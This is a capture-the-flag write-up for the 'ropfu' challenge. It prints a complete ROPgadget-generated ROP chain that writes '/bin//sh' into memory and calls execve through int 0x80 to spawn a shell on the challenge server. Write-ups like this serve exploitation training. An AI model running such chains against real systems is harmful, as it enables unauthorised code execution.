# ropfu## Description
_--missing--_
# SolveThis challenged was solved by finding the offset of `rip` then using `ROPgadget` to generate a payload with the following: 
```bash$ ROPgadget --binary vuln --ropchainROP chain generation==========================================================
<snip>
- Step 5 -- Build the ROP chain
	#!/usr/bin/env python2	# execve generated by ROPgadget
	from struct import pack
	# Padding goes here	p = ''
	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret	p += pack('<I', 0x080e5060) # @ .data	p += pack('<I', 0x41414141) # padding	p += pack('<I', 0x080b074a) # pop eax ; ret	p += '/bin'	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret	p += pack('<I', 0x080e5064) # @ .data + 4	p += pack('<I', 0x41414141) # padding	p += pack('<I', 0x080b074a) # pop eax ; ret	p += '//sh'	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret	p += pack('<I', 0x080e5068) # @ .data + 8	p += pack('<I', 0x41414141) # padding	p += pack('<I', 0x0804fb90) # xor eax, eax ; ret	p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret	p += pack('<I', 0x08049022) # pop ebx ; ret	p += pack('<I', 0x080e5060) # @ .data	p += pack('<I', 0x08049e39) # pop ecx ; ret	p += pack('<I', 0x080e5068) # @ .data + 8	p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret	p += pack('<I', 0x080e5068) # @ .data + 8	p += pack('<I', 0x080e5060) # padding without overwrite ebx	p += pack('<I', 0x0804fb90) # xor eax, eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0808055e) # inc eax ; ret	p += pack('<I', 0x0804a3d2) # int 0x80```
This payload is then added to out script with the offset prepended to get a shell on the CTF server
## Script See the full solve script here -> [solve.py](./solve.py)